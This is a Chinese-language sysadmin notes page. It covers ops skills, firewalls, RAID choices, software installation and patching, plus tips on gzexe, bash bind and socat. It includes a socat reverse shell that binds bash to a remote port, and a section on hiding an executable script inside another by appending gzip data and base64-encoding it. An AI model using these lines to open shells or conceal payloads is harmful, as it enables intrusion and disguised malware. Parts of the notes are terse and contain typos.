

工作经验心得分享

运维人员应该具备哪些能力

很强的分析和解决问题的能力

良好的沟通能力

组织协调能力

强烈的责任心

工作经验

服务器安全，所有机器都要防火墙吗？

防火墙很重要，但不是所有机器都启用防火墙

有些机器需要，有些可以使用架构方式屏蔽

我的服务器需要做什么样的 raid

需求决定一切

raid5 和 raid10 是用的最多的

raid5 vs raid10

硬盘故障修复案例

我的服务器怎么装软件？

我的经历 从 yum 来，到 编译去，又回到 yum

系统软件调优如何平衡

有限调优，平衡资源

系统升级与补丁如何处理？

精彩命令放送：

**gzexe**

**gzexe** 是用来压缩执行文件的程序。当您去执行被压缩过的执行文件时，该文件会自动解压然后继续执行，和使用一般的执行文件相同。

**-d** 解压缩

**bind**

在 **Bash** 中有很多的快捷键，例如：

命令编辑快捷方式

**Ctrl + a** - 转到命令行的开头

**Ctrl + e** - 转到命令行的末尾

**Ctrl + k** - 从光标删除到命令行的末尾

**Ctrl + u** - 从光标删除到命令行的开头

**Ctrl + w** - 从光标删除到单词的开头（即向后删除一个单词）

**Ctrl + y** - 粘贴使用光标后的删除快捷方式之一（例如上面的删除快捷方式）剪切的单词或文本

**Ctrl + xx** - 在命令行开始和当前光标位置之间移动（然后再返回）

**Ctrl + f** - 向前移动一个字符

**Ctrl + b** - 向后移动一个字符

**Ctrl + d** - 删除光标下的字符

**Ctrl + h** - 删除光标前的字符

**Ctrl + t** - 在光标下与前一个交换字符

这些快捷方式是如何定义的呢？

**bind** 命令

参数说明：

**-l** 列出所有的功能。

**-q** 查询快捷键

**bind -q abort**

**bind -q accept-line**

**-x** 自定义快捷键

例如： 重新定义 **Ctrl-I** 功能

**bind -x ""\C-I":echo haha'**

**socat**

**socat** 简介

**socat** 是一个多功能的网络工具，名字来由是” **Socket CAT**”，可

以看作是 netcat 的 N 倍加强版， socat 的官方网站：  
<http://www.dest-unreach.org/socat/>。

**Socat** 是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备（终端或调制解调器等）、**socket**（Unix, IP4, IP6 - raw, UDP, TCP）、SSL、SOCKS4 客户端或代理 **CONNECT**

**socat** 必须有两个流，就是要有两组地址，如果只有一个地址我们可以使用 - 来替代另一个地址， - 代表标准输入和标准输出

例如连接 百度

**socat - TCP: www.baidu.com: 80**

端口转发:

**socat TCP4-LISTEN:8888,fork TCP4:118.144.89.240:80**

NAT 转换

**socat tcp-listen:80 tcp:192.168.1.10:50070**

**bash** 端口反弹

服务端 **socat tcp:\$cip:8888 system:bash,pty,stderr**

客户端 **socat readline tcp-l:8888**

一、把可执行脚本嵌入别的脚本---夹带，隐藏

(加密，重新排序，倒叙，压缩..)

1.echo '#!/bin/bash

> echo "hello world" ' > a.sh

2.chmod 755 a.sh

3.gzip -9 a.sh

4.vim test.sh

#!/bin/bash

skip=5

sed -n "\${skip},\\${p}" \$0 | gzip -d | bash

exit

5.cat a.sh.gz >>test.sh

6.bash test.sh

二、gzexe:用来压缩执行文件的程序

vim a.sh

gzexe a.sh

vim a.sh ---->(1,2,32..38 行有用而已)

gzexe -d a.sh 解压(第一个变量 skip 相同)

加密:sed -n '4,\$p' a.sh | openssl base64

三、bind 在所有命令执行之前执行(不定义单个字符)bash 快捷键

配置文件: /etc/inputrc

bind -l 列出所有功能 bind -q 参数(-l 查出来的) 查询快捷键

`bind -p | grep clear` 查看 `[bash 内置函数---man bash]`

`bind -x` 定义 `bind -x ""\C-l":echo xxhh'` 可写进启动脚本

`nc` 加强版 `socat`

端口反弹

端口转发

防火墙（外层）：VPN，负载均衡层，跳板机..

安装最小化，从架构或结构去规避，不安装服务是最安全的

`raid5`(io 要求不高的，存储量大的)推荐 `9(raid5)+1(热备)`，坏了会降速，不能坏两块

`raid10`(io 号，热点数据)推荐默认使用

服务器磁盘(热插拔)，`raid` 卡(默认备份)，内存容易(关机换)坏

集群需要保证参数，版本，路径，环境一致，方便批量操作，源码包

编译成 `rpm` 包，自定义 `yum` 源安装

旧系统不升级，新项目用最新版本，企业追求稳定

补丁:系统级，版本 `yum update`

软件级：编译重做 `rpm` 包，`yum` 升级

通用硬件+redhat 公司的 `centos/dibian` 社区

`Httpd -l`

`Netstat -ant |awk '/^tcp/{A[$NF]++}END{for (a in A) print A[a],a}'`

`Who -b`

`lp a s`